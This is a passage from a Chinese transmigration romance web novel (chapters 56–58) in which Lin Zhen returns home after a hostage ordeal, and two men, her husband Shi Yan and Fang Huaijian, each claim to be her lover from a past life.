明晖冷声道:“不过被扯掉两个衣袖,你便觉得名声全无,那些女子父母兄弟早就死了,她们根本不知道发生了什么,一夜之间就为奴为婢,或沦为勾栏歌姬,或隐名埋姓老鼠般生活,她们生活里从未有名声二字,卑贱活着已极为艰难!” “废太子那些破事,不过皇权你倾我轧,和这些女子有什么关系呢!” 他的眼里淬着冰,对废太子似乎充满恨意,林蓁不由地问:“她们,是你的姐妹吗?” “我们都是姐妹。”明晖扯开自己中衣,白色宽阔绸布紧紧裹住她的胸。 林蓁愕然失色,整个人似定住不能动弹,脑袋里想了很多,又似乎什么都没想。 明晖拉好自己衣裳,拍拍林蓁的脸:“替我保密,我还想做许多事。” 林蓁似被拍醒,忙叠声保证:“我不会与任何人说。” 想起她说自己是孤儿,林蓁禁不住想象,她吃了多少苦才能走到白莲教护法位置,习得一身本事,却不贪图享受,而是一心解救和自己命运相似的姐妹,心下对明晖的惧怕恨意怨念等诸多情绪消散殆尽。 “我能帮你什么?” 明晖淡淡看她一眼:“我浑身都是麻烦,你不怕?” “还是怕的,但我也想帮你。” “帮我保密。”明晖郑重道:“走罢,没脱险前你是我的保命符。” * 天蒙蒙亮时,明晖把林蓁放在一户农家。 “这是他们追我的必经之路,你就在这儿等着罢。” 林蓁望着马上神情骄矜的人:“保重。” “后会有期。”明晖道,“你的衣裳,以后赔你。” 林蓁忐忑地在农家等候,不到半个时辰,就听到“得得”马匹声,林蓁赶忙跑出农家,在篱笆前张望。泥巴路上远远地尘土飞扬,一群骑兵乘着霞光而来,为首者毅勇侯时世诚,时彦落后他一个马身,金色阳光洒在他们身上,时彦似镀了金身,宛若神仙下凡,来拯救苍生,来拯救自己。 林蓁高举手臂向来人挥手,眼泪止不住滴落。 众人在篱笆前下马,林蓁飞奔进时彦怀抱,紧紧搂住他听着他的心跳。 成亲以来,第一次一晚未见,还是被迫如此,两人似隔了一个世纪紧紧相拥。林蓁想说些委屈的话,可喉咙哽咽竟然一个字也说不出来。 时世诚道:“好了好了,人找到就安心了,你们先回去,我和惠王继续追。” 林蓁这才意识到失态,忙立身站好,注意到惠王也在骑兵中,目光似有若无打量自己,林蓁只看时彦,对着他笑笑,眼泪就要溢出来。 时彦伸手抹去林蓁脸上泪珠。 骑兵末尾的马车驶到眼前,是昨晚林蓁乘坐到湖边的那辆青布马车。时彦扶林蓁上了车,自己也跟上,车帘刚刚放落,两个人就紧搂在一起。 时彦重重亲了一口林蓁脸颊,吩咐车夫启动。 “林蓁,安安”,马车外响起一道嘶哑男声,“我是飞飞!” 在时彦怀中的林蓁应激般看了时彦一眼,眼中闪过一瞬赧色。 时彦似乎没有注意林蓁细微情绪,垂首啄了啄林蓁的唇角,解释道:“他知道你的事,非要跟来。”时彦随手按住车帘,似乎想要掀开,他看向怀中林蓁:“打招呼吗?” “安安,我是飞飞啊!”方怀简嘶哑声音再次响起,伴随着时隽劝说之声。 林蓁望向声音方向,透过车帘方怀简身形模模糊糊,和时隽交缠在一起。 “走罢。”林蓁收回视线,目光落在时彦脸上,一夜不见他似乎更好看了,她搂住时彦脖颈舔舐他的唇,唇齿交缠间,林蓁轻叹道,“和过去的我一样,他有些魔怔了。” 马车外,时世诚和萧忱都没听明白方怀简叫嚷什么。萧忱看了看拉扯中的时隽方怀简,方怀简身形憔悴,面有菜色,胡子拉碴。 不是翩翩榜眼郎么,不是看不上林蓁么。 微微拧眉,萧忱拉了拉缰绳跟着时世诚继续驰行。 第56章 第 56 章 我知道你会来! 马车里, 新婚不过月余的两人耳鬓厮磨悱恻缠绵,待情欲稍稍退散,时彦抚着林蓁后背,对怀中人道:“路程得有半天, 这马车狭小, 你将就枕我腿上睡一会儿。” 林蓁本就在时彦怀中, 顺势斜斜躺下, 头向里挨着时彦小腹,手轻轻挂在他的腰上。这样斜斜躺下, 白皙脖梗完全显露出来,时彦一眼看到脖梗上剑伤。 “这里怎么了?明晖伤的你?”时彦不敢触碰,只轻轻抚着林蓁锁骨,那伤口和自己脖梗上曾经的剑伤一模一样。 “没什么,已经不疼了。” 林蓁喃喃, 耷拉着眼皮不愿意睁眼。 时彦想到萧忱, 他是宠妹狂魔的人设,就算现在没有相认, 就没有心灵感应护林蓁周全之心吗? “他,他没有护住你?” “你说的是惠王?”林蓁搂紧时彦的腰, “要不是父亲来,我不知道能否再见你。” 回想昨夜一幕幕, 即便此刻惠王和公爹一起来寻她, 林蓁仍然不确定, 惠王对她的用意真的为稳住明晖,而不是弃如敝履。 林蓁描述了昨夜诸事,只隐去了明晖为女子细节。 时彦轻抚她的后背,似爱抚安慰, 实则缓和内心惊涛骇浪,他甚至怀疑,是不是穿到同人文里,如今剧情和小说中发展已经偏离十万八千里。 萧忱把林蓁扔进御史台刑狱,现在特意叫她来送上门给明晖为质,这是一个亲哥哥做的事么! 黄金玉神奇落在明晖手上,林蓁也不想要回。若在方怀简手上,他还能想想办法,可在明晖手上,根本见不着人影的女子,他无计可施!没有重要凭证如何与萧忱相认,得另想他法。 还有方怀简。 他本是无足轻重路人NPC,可如今似乎哪里都有他。林蓁被萧忱带走,不过刚刚发生之事,方怀简第一时间就知晓,不顾劝阻一心跟来说要尽微薄之力,在众人面前,时彦亦不好严词拒绝。 可他竟然当众撕心裂肺大喊“我是飞飞”,林蓁虽没当回事,时彦实在有些被吓到,到底如林蓁所说方怀简有些魔怔,还是他想起了他是飞飞? 这本书穿来了三个人?! 想起林蓁描述明晖的话,回家问问黄金玉的来历,云娘会和盘托出吗,林蓁知道真相,会找明晖要回玉佩? 林蓁说着说着声音渐沉,抚着时彦腰的手也松了劲,时彦抚着她的发,心烦意乱。 过了晌午,马车终于驶到毅勇侯府大门。谢氏和时姝听到通报,第一时间疾跑出来迎接,谢氏坚持林蓁时彦夫妻俩从侯府大门迈过火盆才进府。 谢氏嘘寒问暖:“累着了吧?快去沐浴了休息,我马上叫人送饭,想吃就吃点儿。” 四人径直往云栖院走,谢氏吩咐了一番云栖院的丫鬟仆妇便要离开,时姝对谢氏道:“哥哥嫂嫂回来了,我可以出门玩了吧?” “去罢去罢,记得回家吃饭就成。”谢氏爽快应允,今日中秋,街上特别热闹,若不是出了这档子事,她还想叫时彦林蓁也出门逛去。 时彦闻言,问时姝:“你要去哪儿逛?” “灯会呀”,时姝道,“你不是说今年灯会有好几个特别的灯,让我一定去看?” 时彦回想起自己的话,今日中秋应该是时姝和萧忱表明心意之日,前几天他一直在时姝耳边夸赞灯会,为的就是时姝看灯时和萧忱偶遇。可现在萧忱还在追击明晖路上,不知何时才回皇城,母亲还叫她按时回家吃晚饭,时姝今晚注定和萧忱没有瓜葛。 “去看罢,一年一次,不必着急回家。”时彦徒劳地挣扎,或许时姝晚些回来偶遇萧忱回城未尝可知。 云娘已在桌上摆好了饭菜,见时彦林蓁进屋,便要退出。 “云娘,你陪蓁蓁用膳,我去和夫人说些事。” 林蓁拉上时彦的手,眼中不解:“你不和我一起?” “云娘也担心你,你和她说说话,我也去和我母亲汇报一声,免得她记挂父亲。” 见时彦特意给自己与云娘留下空间,林蓁不再坚持,嘱咐道:“说完就回来。” 时彦轻笑:“不回来还能去哪儿,你快吃饭。”轻轻挣开林蓁的手,时彦走到门口,为林蓁云娘掩上门扉。 云娘给林蓁递上碗筷,她早看到林蓁脖颈上的伤,心疼地指指伤口:“是那个诸大人做的吗?” “云娘,吃过了吗,一起吃?” 云娘摆摆手,继续追问:“是诸大人伤的你吗?” “不是,诸大人原来是惠王萧忱,是天子的第四子!他以前骗我。” “哦”,云娘淡声应了一句,似乎早就知道。 林蓁有些奇怪:“你一点儿不惊讶?不想问什么?”以前云娘很喜欢问东问西,就算知道林蓁不会回答也爱问个不停,这样的云娘和以前不太一样。 “哎,那可是王爷,我打听他做什么。” “嗯”,想想也是,林蓁不再纠结,直问云娘,“可惠王在打听我那块平安玉的事情,这平安玉和皇室,有什么关系?云娘,你知道母亲这块玉从何而来?” “啊?!”云娘讶异失声,随即垂首右手托腮,左手不忘给林蓁布菜:“皇室?竟然有这样奇事?” “是啊,你知道玉的来历?它有什么危险么?”林蓁给云娘简要说了昨夜之事。 云娘沉默听着,良久,云娘抬眸道:“这玉佩,乃是你母亲闺阁中时,搭救过一位小娘子,小娘子无以为报,把随身玉佩送给你母亲,你母亲本推拒,那小娘子说,日后会回来,到时还给她,你母亲就好好保管着,可她再未见过那位小娘子。” “想来是那位小娘子和这位王爷有什么牵扯”,云娘揣测,“不过既然玉已不在你身边,多一事不如省一事,这事就这么过去罢。” 林蓁道:“惠王对这块玉很是在意,想来那小娘子应是他亲近之人,这些事情不说与他知道么。” “别说!”云娘急道,“我们与那小娘子就一面之缘,什么都不知道,你母亲也已去世多年,我们说什么,何况这惠王如此害你,何必去主动找事。” 云娘从未骗过自己,林蓁点点头并无怀疑,这些信息并无什么价值,说不说没什么影响,惠王还是尽量避而远之。 用膳完毕时彦仍未回来,云娘催促林蓁去休息一会儿,林蓁洗漱一番在床上躺下,本想等时彦回来说说话,可挨上枕头不知不觉睡着了。 如练月光洒在自己身上,脖颈上滴滴答答淌着鲜血,自己头晕目眩想找个人寻求帮助,沿着湖边高一脚低一脚,踉踉跄跄走着。 远远的,一位黑衣人缓缓迎面而来,林蓁拼力迎上去,嘶哑着嗓音求救:“救命!救命!” 拼命奔了几步,看清来人是惠王时,林蓁停驻了脚步,惠王,会救自己么。 惠王缓步走到林蓁面前站定,他的脸死人般苍白,黑色眼眸虽一动不动,却让林蓁觉得,他把自己看得纤悉无遗。这样的目光中,林蓁身体似一寸寸被凝成了冰,冷硬无法动弹。 林蓁转身想跑,刚刚侧身,身后之人似劈来一掌,林蓁脚步不稳,“扑通”一声摔进了湖里。 “啊”,刚张嘴便涌进冰冷湖水,林蓁“汩汩”喝着水,发不出一丝声音,身体拼命挣扎。 “蓁蓁,蓁蓁!快醒醒!” 林蓁猛地惊醒,视线里时彦轻拍着她的脸,一脸担忧得看着她。林蓁把脸埋进时彦怀中,语气有些埋怨:“都不陪我睡!”已经习惯枕着他的胸,听着他心跳声秒睡,不过一日未如此,便做起了噩梦。 “是我不对,还睡会儿吗?我陪你。”时彦脱了鞋袜便要上床。 “什么时辰了?”林蓁瞥了眼窗外,阳光耀目,廊下都是金光。 “还早,才过了申时,可以再睡一会儿,他们都没回来。” “我们说说话罢”,林蓁依偎在时彦怀里,和他说起平安玉的事。 “云娘让我当作不知道,我们帮不上惠王什么。” “我们真的什么都不说么?” 时彦犯嘀咕,小说里写得明白,这块玉为天子赠与林蓁母亲,云娘为何要说谎,林蓁变身公主,她亦鸡犬升天,为何要隐瞒?现下既没了玉,云娘也不愿出面,林蓁还怎么认亲。 时彦回忆小说中剧情,认亲是林蓁弟弟春闱高中,在面见天子时被萧忱认出佩戴的黄金玉,云娘不涉及此事,难道林蓁母亲骗她,她真的不知情?便真不知玉的来源,林蓁生父是谁云娘不可能不知道,时彦决定再好好观察一番。 “惠王为这块玉大动干戈,没准儿迟早查出来,我看时机合适,可以和他提一提此事。” “嗯,遇到他再说。” 时彦和云娘想法不同,可听着时彦主意,林蓁却犹豫了,她不想主动去找惠王,再碰见他时看情况而定罢。 * 谢氏本想中秋一家人吃顿团圆饭,可等到很晚时世诚都未回来,众人只得先用饭,饭后继续在偶园里赏月品茶,五人围了一桌打起了叶子牌,林蓁玩得少,时彦坐在林蓁身边指导。 新手惯常手气好,林蓁赢得最多,谢氏又会打趣,林蓁笑得“咯咯”声不断。 时姝对时彦嗔道:“你该指导的是我!娶了媳妇忘了妹!” “我就没开口,你手气臭谁也指导不来。” 林蓁对时彦笑:“你去看看姝儿的。” 时彦:“看有什么用?” 时姝:“没用你巴巴看她?过来,把你的气运 给我!” 时彦不为所动。 时隽面无表情看着手中叶子牌,调侃时姝:“是不是情场得意,赌场失意?今日回来这么晚,遇到心仪郎君?” 时姝拿起一块柿饼塞进时隽的嘴:“没人当你哑巴!” 时彦不禁抬眸看向时姝,父亲此时都未回家,萧忱想必也在路上,今晚他们不可能碰面,可就是碰面,他俩会按小说那样发展么。 时姝大呼小叫不亦乐乎,一会儿看着手中叶子牌乐不可支,一会儿对时隽翻白眼,她鲜活可爱,可萧忱喜欢这样的姑娘么? 小说里父亲和自己战败而死,时隽亦受伤没法再上战场,家里整日乌云阴沉,时姝遇到萧忱时已受尽人间冷脸,世态炎凉早看得通透,共同失去亲人经历拉近了他俩距离。 现在他俩之间呢,时彦第一次意识到,萧忱和妹妹,或许相隔天堑。 快亥时时世诚才回府,谢氏本想让众人休息,见时世诚回来,大家继续玩会儿。时世诚坐在谢氏身边看她玩牌。 时彦问父亲:“明晖有下落了么,惠王也回来了?” 时世诚:“追到白莲教一个据点便没了踪迹,那地方也搜查过了,他的衣物倒是找到,人却蒸发了般。惠王,应该去了御史台。” 想起了一件事,时世诚从怀中掏出一封信笺递给林蓁:“惠王已向我保证,他以后不会再来找你。他让我转告你,他会和梅棠女官交代,你随时可以凭此信找梅棠。” 时世诚道:“若能跟着梅棠学习,还真可以学些本事。” 梅棠大周女官之首,刚正不阿亦有真才实学,颇为朝臣钦佩。 林蓁拿着信颇为意外,没想到公爹让惠王做了保证,没想到惠王真会兑现承诺,她侧首看向时彦。 刚刚为明晖落下心,可拿到这封信,心又悬起些许,若跟随梅棠学习,就如时彦当值,日日都得去御史台,才新婚一月余,时彦愿意? 时彦眼中泛起笑意,无人注意的桌下,紧紧攥住林蓁的手。 怎能不明白林蓁心思,时彦在她耳边轻语:“只要你想,我都支持。” 能够去御史台,有机会接触萧忱,才有更多可能暴露身份,与之认亲,一举多得之事他怎会不支持呢。 林蓁笑意绽放在每个人眼底。 亦在时隽眼底。 他胸前亦有一封揣得热乎乎信笺,方怀简哭求他最后一次帮忙的信笺。 可一家人和和睦睦其乐融融,时彦林蓁言笑晏晏,这封信笺重似千金,他再也拿不起。 * 中秋月夜,银蟾光满,云栖院里月满人更满。 林蓁餍足趴在时彦胸口,听着他心跳声渐渐平缓,右手在他胸膛敏感处划着圈。时彦忍了一会儿,最后还是忍不下按住她的手:“再这样,我又要忍不住。” 林蓁赶忙撒手,手指勾住时彦发梢,开始玩起了他的头发:“今夜是我过得最开心的中秋,想以后年年如此。” 有两世爱人相伴,有关心自己的公爹婆母,有乐子人小姑和话少小叔,今后还会有儿女绕膝,林蓁想象不出比这个时空里还要完满的人生。 “年年如今日,岁岁似今朝,我们以后当然会如此,不是年年如此,是日日如此。” 林蓁满意抬头,顺嘴亲了下时彦下颚:“你想我什么时候去找梅棠女官?” “歇两天就去?不知惠王何时与梅女官说,过两天去更稳妥。” “嗯”,林蓁乖顺点头,顺手扯了扯他的头发。 “你跟着梅女官,以后日日和各色男人打交道,其中不乏逸才雄杰,瑰伟英俊,你可不能见异思迁咯。” 以为他要自己好好取他人之长,不料方向偏得离谱,林蓁“扑哧”笑出了声,轻轻咬了咬他胸膛敏感处。下一刻,时彦一个翻身把她压在身下:“光傻笑不吭声,那我要打上我的标记。” 林蓁低低轻笑在他身下挣扎扭动:“刚刚标记还不够么?” 她的扭动更似给心火添上一壶热油,时彦浑身火烫,钳着她的手臂咬她:“每一寸都要标记。” 林蓁求饶,声音酥软入骨:“放过我罢,我见谁都告诉你,可以了吧?” “太迟咯。” 若吹进一阵热风,内室温度让人燥热,锦帐不可抑制晃荡起来,纱帐里温柔女声微微喘着叹着,似笑似嗔低低埋怨着,一声密过一声拍击声渐渐淹没了呓语旖旎。 翌日,毅勇侯府男人们如常上值,林蓁亦分外忙碌,马上要去御史台见最厉害女官,她回想平日看书薄弱之处查漏补缺,不要到时出丑,丢脸事小,梅女官不愿带她事大。 下午书房看书时,彩橘来报,二公子来了云栖院,这会儿正在院门口求见。林蓁奇怪,这个点儿时隽应该在城外神策军营,来找自己做什么。 时隽进了书房,见林蓁站在八仙桌旁目光炯炯迎他,视线急忙下落,犹豫道:“有个事不知当讲不当讲。” 林蓁打量着时隽,他从来天不怕地不怕模样,没主动和自己说过几句话,此刻竟有几分扭捏不自然,还能为谁? “你都知道不当讲,还讲他做什么。几日前他刚刚见过我,我已经和他说清楚,你还要为他说什么?劝我和他在一起?” 时隽面有愧色:“不是不是,不为他说什么,就是他想让你看一幅画,他亲手所做。” 方怀简求他时,时隽已斩钉截铁告诉他,决不会再引开家人给他机会见林蓁,方怀简当着他的面画了一幅画,只求林蓁见画。 那画普普通通,两人月夜游湖,两人甚至没画出样貌,寥寥几笔勾勒出个意境而已,最后着色时凭着衣着颜色时隽猜出两人为一男一女。 林蓁目露犹豫,时隽担心她拒绝,赶忙抽出袖中画作,不由分说在她面前展开。 月夜下,水岸边桂馥菊英,似青衣男子和粉衣女子并肩坐在小船上摇曳,女子手中有几只白色小花,小船不远处水面有三座石塔,塔中灯火印入湖面宛若许多小月亮。 林蓁的手使劲撑住在八仙桌上,指尖泛白。 心脏不由自主抽搐,疼得她躬下了身,心脏病发作大概就似如此?有一秒,林蓁甚至担心自己会撅过去,她强忍不适,额头瞬间冒出汗珠。 杭州三潭印月,飞飞向自己求婚的那晚!!! 时隽看出林蓁不对劲,问道:“你,你没事吧?” 林蓁脑子乱乱的,也许巧合?也太巧了?别的可以巧合,那三座石塔怎么解释。她缓了口气,待疼痛缓解,慢慢直起身,她问时隽:“我没事,除了看画,他还说别的了么?” 方怀简千求万嘱,让时隽昨夜就把这幅画给林蓁看,时隽估摸着他想约林蓁见面,昨夜按捺下想法,今日想着都整整过了一天,再拿给林蓁看,他等会去方府好歹给兄弟有个交代,见林蓁追问,时隽踟蹰着掏出方怀简信笺:“他让昨日给你,你应该不想看?” 林蓁一把夺过信笺扯开,信中就一句话,约今日巳时芙蓉醉见面。可此刻申时已过,大半日已经过去,方怀简应该离开? 林蓁只迟疑一息,她收好信笺塞入袖中,对时隽道:“我出门会一会方怀简,你哥哥回来只 说与他知道,不必等我用饭。” 时隽呆滞,林蓁曾经那么坚决,坚决到没有一句好话一个好词给方怀简,让他失魂落魄痛不欲生,怎么一幅画她就如此?他想拉住她说些什么,可林蓁已闪身不见踪影。 时隽拿起画,似要看穿个洞,又似看到时彦拳头朝自己挥来。 林蓁带着碧竹出了府门直奔芙蓉醉。马车晃荡中,林蓁刚刚激动震惊骇然情绪慢慢平复,方怀简应该早就离开了罢?如果找不见他,自己去方府? 林蓁和碧竹走到约定的雅间,轻轻哈了口气,林蓁命碧竹在门外等候,自己慢慢推开了门。 吱呀一声,映入眼帘是一件齐人高绣屏,林蓁迈入房门,室内静悄悄没有任何生息,心下已接受方怀简离开,但林蓁还是缓缓绕过了绣屏。 申时日光穿过漏窗,斜斜耀在地上,又被光亮地砖折射到天花板上,满室亮堂。 方怀简站在漏窗边,长长身影恰好落在林蓁脚下,他目光明明暗暗,不发一语直直看向她,随即眼眸晶亮,似突然回魂醒悟,几步间直奔林蓁,紧紧搂她在怀,似要把她揉进自己骨血,贪婪地蹂。躏着她。 林蓁被禁锢得呼吸困难。 “安安,我知道你会来!”方怀简声音哽咽,林蓁左肩忽然湿漉漉的。 安安,方怀简终于开口唤出了这两个字。 一瞬间,似乎开启了神秘时空机关,周围一切在旋转在坍塌在缩陷,斗转星移,林蓁回到了从前。 某一个秋日平常午后,阳光和煦,安安和飞飞在豫园绿波廊里,在一处雅间里,安安静静拥在阳光里,和所有普通情侣一样,相互紧拥感受彼此存在和据有。 第57章 第 57 章 我才是正主! 似时空重叠, 当下芙蓉醉和绿波廊仿佛合为一体,林蓁拥着方怀简,一会儿似穿越时空回到过去,一会儿似白驹过隙的一瞬, 不知不觉, 泪流满面。 方怀简胸襟湿了大片, 他微微分开, 指腹在林蓁脸上摩挲,想为她擦拭眼泪:“安安, 我想起来了,你能原谅我?” “安安,我们重新在一起,好不好?” 突然意识到两个飞飞的存在,林蓁下意识猛推方怀简, 然而他胳膊有力, 牢牢羁束林蓁于怀中。 看着林蓁泪眼婆娑,方怀简感觉她定有不得已苦衷, 方怀简心疼道:“安安,是时彦为难你, 让你答应了什么条件?你不要怕,也不要担心, 我会把它们都解决好, 我们很快就能在一起。” 眼前方怀简, 温润清俊,脸颊瘦削许多,此刻和自己的脸庞一样濡湿,他眼眸像小鹿般闪亮, 温和笑意在眼底流淌,似此刻秋日暖阳,一如爱笑好脾气的飞飞。 如果做选择,眼前人就似飞飞本人。 可时彦呢?! 林蓁脑中无数问号,甚至不知该如何称呼方怀简,她盯看方怀简良久,艰难开口:“那张画什么意思?” 方怀简有些懵。 他十分确信,只要林蓁看到那幅西湖秋月图,她就会明白自己已想起前世,会与自己见面,会重新回到自己怀抱,因为她根本不喜欢时彦,为某种不得已原因才嫁给他。 一大早他去翰林院点个卯就借故离开,早早来到芙蓉醉等候,他相信,林蓁和他一样,在想起前世诸般后会急不可耐想见他。 即便她没有按约来,即便日头从东边升到头顶,又慢慢西斜,他都没有怀疑过,林蓁不会来。如果她不来,那必是她没有看到画,或者时彦阻止了她。 可她都来到他的面前,她不懂那幅画意思?! 方怀简缓缓道:“安安,你不记得了?这是我们前世在一个叫西湖的地方游湖,我在这里在一条小船上,给你戴上戒指,你愿意嫁给我。” 他说的全是两人私密经历,林蓁没有怀疑他不是飞飞,可他明明前几天什么都不知道,林蓁问:“为什么前几天我们见面时,你不和我说?” 方怀简羞愧:“安安,过去你那么努力,可我始终没想起来,那天你打了我,我心里特别特别难受,喝了很多很多酒,不知怎么醉酒时候就想起来了。” 林蓁想起布庄那天,再看看眼前人,不过几天,他的确瘦削憔悴许多,她心里俱是疼惜,鼻子微微发酸,垂首避开方怀简目光:“对不起,我那天不该打人。” “不不”,方怀简叠声道,“如果不是这个耳光,我还不知道多久才能想起。” 方怀简把林蓁往怀里紧了紧:“我想和你回到从前,安安,你愿意吗?” 林蓁嘴唇嗫喏了几下,终于发出声:“可时彦说,他是飞飞。” “什么?!”方怀简难以置信,“这怎么可能!” 他的眼神充满困惑,渐渐变得复杂难辨,最后只剩下愤怒,眼中似要冒出火。 林蓁双肩被方怀简攥紧得有些疼痛,他额头青筋暴起,神情气愤填膺。 “安安,他定然骗你!” “他和你说过什么,他定从时隽处得知”,方怀简眉毛拧得死紧,“安安,时彦所说全是诱哄我而得!” “我们现在就去找他对质!” 他可算明白了,为何林蓁突然对自己改变态度,原来时彦鸠占鹊巢! 想到他把林蓁骗得心甘情愿嫁他,想到他平日伪装成熟稳重模样,还有他怂恿自己去越州,他竟然那么早就在暗地里打主意! 方怀简恨不能当场飞到时彦面前,撕开他的伪装,把他揍成肉泥! 方怀简拉紧林蓁的手就要往外走,林蓁另一只手拉住他的衣袖。 “除了西湖月夜,你还想起什么?” 事情很是奇怪,虽然方怀简怒发冲冠,一个劲说时彦为假,林蓁亦觉得方怀简就是飞飞,可潜意识里时彦也不假,他明明知道许多方怀简不可能告诉时隽的事情,譬如二十四字核心价值观,譬如他对自己前世父母印象,譬如胸前还佩戴着的十字架…… 意识到林蓁怀疑自己,方怀简的脸瞬间涨红,他僵在原地,心似被针刺般的难受,眸中闪亮光彩似乎都暗淡许多。 “安安,你不相信我?”他语气有些灰败。 “不是,我只是想知道更多。” 方怀简长吐出一口气,似思索着什么,缓缓对林蓁道:“我想起许多,最早我想起的是我们在西湖的甜蜜,后来我又喝了许多酒,想起我们一起同学,交大是交通大学的意思,我们的学校,我还想起我们俩和你妈妈去普陀山,你妈妈不喜欢那儿的佛寺,她高高瘦瘦,不怎么喜欢说话,你,”方怀简看看林蓁,眼底温暖涌动,“你戴眼镜,我很喜欢——” 林蓁泪盈于睫,方怀简突然停顿,抬起手想拭去林蓁眼角泪珠,他温柔地问:“时彦和你说过什么,让你上当?” 林蓁垂眸:“他和我说,我们曾经游玩过的地方,他还送我这个。”林蓁从胸口摸出翡翠十字架,她的手心青翠流转,这款翡翠价值不菲。 林蓁凝视着十字架:“这曾经是我妈妈最在意物什。” 方怀简愣怔,他没有十字架任何印象,这是什么,为何安安妈妈最为在意,他揪住自己额上的发,难过又担心:“安安,我没有骗你,我每一句话没有半点虚假,可我没有想起来这个,也许我再喝酒,过些天能想起更多,你一定要相信我!” “我没有不相信你,可时彦也不像假的。” 林蓁的话似一颗炸弹引线,方怀简内心被怒火炸得轰鸣心悸,他是真的,任凭时彦巧舌如簧,时彦也真不了,就是赝品! “虽然许多事我还没想起来,但假的就是假的,我们现在去找他,他冒充我定然别有目的,我和他对质便知。” 虽然想起的只是一些片段,但方怀简对自己有信心,只想快些撕开时彦真面目,让林蓁早点离开他! 世上怎会有如此厚颜无耻之人,每天演戏扮演他人?! 林蓁还是拉着他不放:“这会毅勇侯府里快用晚饭,我们晚些过去,不想长辈们知晓。” 骗子即将现形,林蓁还考虑他父母感受,只能说林蓁太善良,方怀简强压下怒火,对林蓁柔声道:“那我们在这儿吃饭,我想和你一起吃饭。” * 云栖院里,时隽待在书房未曾离开,他本来计划送画给林蓁后,他去方府看望方怀简,也向他有个交代,怎知林蓁竟然去找方怀简,那他去方府会扑空?或者方怀简在家中, 他亲口对方怀简说,林蓁想见他? 无论哪一种,他都不想发生。 不知哥哥会不会和他干架,他可没有违背哥哥意思,没带人到林蓁面前。 “大公子”,听着院子里丫鬟声音,时隽浑身肌肉都紧绷起来,不由自主站起了身。 时彦推开了房门,见时隽呆站着,时彦问:“你为何在这儿,你和林蓁说过什么,她去哪儿了?” 他听下人说,时隽来过后,林蓁就出了门,很是奇怪,难道林蓁被时隽气到回英国公府?又觉林蓁不会做这样的事。 时隽递过来一张皱巴巴画,他本想撕烂,想到时彦可能想看,生气得把画揉成团。 时彦目光扫过画,心中陡然升腾不祥之感,这画中景物太典型,三潭印月? “这是什么?” “方怀简作的画,让给林蓁看,我给她看过后,她说她去会会方怀简,就出了门。” 心里升起燥火,时彦顺手抄起手边一盏白瓷香炉,猛砸向时隽,时隽灵活闪开,白瓷香炉摔落在地,阳光下扬起飞灰闪闪亮亮。 “我可没带人,几天前她见方怀简时可是冷若冰霜,漠然视之,我哪知道她见了一幅画就这样了呢。” “这画是方怀简托我最后一桩事,你也看到了,他都快疯魔了,我岂能坐视不理?” “这画到底有啥孔窍,你倒是和我说说,我啥没看出来!” “滚出去!”时彦怒道,“以后别到我院子里来,有事让丫鬟传话!” 时隽闪身而出,以为哥哥会揍他,这个结果比想象好太多。 心里挺冤,见面都没啥为何见画变了脸色,这画看着也没啥问题,若有一丝丝勾引之意他也不会给林蓁看。 时彦没和家人用晚膳,他看着方怀简的画,一场暴风雨就要来临,他要未雨绸缪。 明月初升时,毅勇侯府侧门驶进两辆马车。见少夫人和方怀简分别下了马车,仆妇们俱是一愣。 林蓁向仆妇们道:“方公子是我和大公子客人,先去云栖院通传一声。” 小丫鬟飞似跑走。 方怀简想牵起林蓁的手,林蓁急忙闪开,扭头眼神制止了他。 两人一前一后跨进了云栖院,绕过院门口叠山,见院中并无下人,方怀简毫不犹豫攥紧林蓁的手,任林蓁如何劝说也不松开,两人低声争执间,林蓁一扭头就看见了时彦,正厅里灯火通明,他背着双手站在正厅门边阴暗处,静静看着他俩。 他脸上没什么表情,可眼中眸光闪动,说不出的各种情绪流动,似生气似郁闷似伤心。 不知怎的,林蓁心里宛若偷情被夫君发现的心虚愧意,她垂眸避开时彦目光,脚步不由有些松懈,倒是方怀简,紧拉着她的手疾步冲向时彦。 时彦早就等得不耐烦,林蓁再不回来,他都想去方府问人,见方怀简如此肆无忌惮,心里火冒三丈。 方怀简攥着林蓁在时彦面前站定。 他身板如松竹,紧绷面容上眼神冰刀般煞气,语气坚硬锐利:“你骗她是飞飞?卑鄙无耻!” “我才是正主!我才是她夫君!” 第58章 第 58 章 你心里也可以有他 除了正厅里灯火煌煌, 云栖院里花木榭亭都隐在暗色中,此刻庭院寂静,丫鬟仆妇们早回各自房间,云娘和碧竹在一个房里, 她虽知道外面三人对峙, 但不知缘由不敢出来多事, 只焦急得踱来踱去, 祈祷方怀简快点离去。 “扑通”,池塘里锦鲤扑腾的声音。 方怀简死盯着时彦, 他浑身紧绷,右手紧握成拳,愤怒在心中熊熊燃烧,时彦竟然毫不知耻与自己对视,且气势未低半分, 目光中还隐有愠意, 宛若自己是上门找茬的奸夫。 果然人至贱则无敌。 只要他敢开口“我是”,自己会一拳击在他的脸上, 打歪他的脸!打掉他的牙! 时彦站在门厅前台阶上,他眸光晦暗, 居高临下打量着两人。 方怀简切齿愤盈,神情激昂, 似与自己不共戴天。 没想到他居然真是林蓁前世爱人, 好死不死偏偏这个时候想起, 可他没提及穿书言语,眼下情形还不算太糟。 目光落在林蓁身上。 她垂眸避开自己视线,手虽被方怀简攥着,但那姿态有些别扭, 并不是郎情妾意风情月思,她的行止亦比自己设想好太多。 时彦缓缓迈下台阶,走到林蓁面前,轻握住林蓁手腕,被方怀简攥住的那只手的手腕。 方怀简瞪大眼睛。 手腕处凉凉的,时彦的手似乎没什么活气,林蓁抬眸看向时彦,她嗫嚅着嘴唇,想问时彦为何欺骗自己是飞飞。 可她尚未开口,时彦已柔声问她。 “蓁蓁,这么快你就忘了,昨夜你如何对我说的,不会见异思迁,不然会被我狠狠标记。” 林蓁的脸瞬间红绯。 她怎会忘呢,昨夜缠绵到深夜,今晨还难分难舍,正因亲昵到你我不分,她才接受不了和自己日日肌肤相亲之人竟然是彻头彻尾大骗子! 时彦,要骗自己什么呢。 实在想不到时彦寡廉鲜耻到如此粗鄙程度,即便光线昏暗,方怀简仍然看清,林蓁满脸通红,红到耳根! 意识到时彦暗指什么,方怀简脑中腹下霎时血流汹涌得要冲破皮肤,心神晃荡一瞬间,时彦拽着林蓁手腕脱开自己的手。 方怀简愣怔。 时彦的手顺势从林蓁手腕滑到她的掌心,与她手指交握,将林蓁拉到一边。 他神色肃穆,看向林蓁的眼中却温情涌动:“蓁蓁,我是你夫君,现在是,将来也是。” 他金声玉振:“我是你夫君,从三年后穿来!” 林蓁讶异看着他,瞳孔地震! 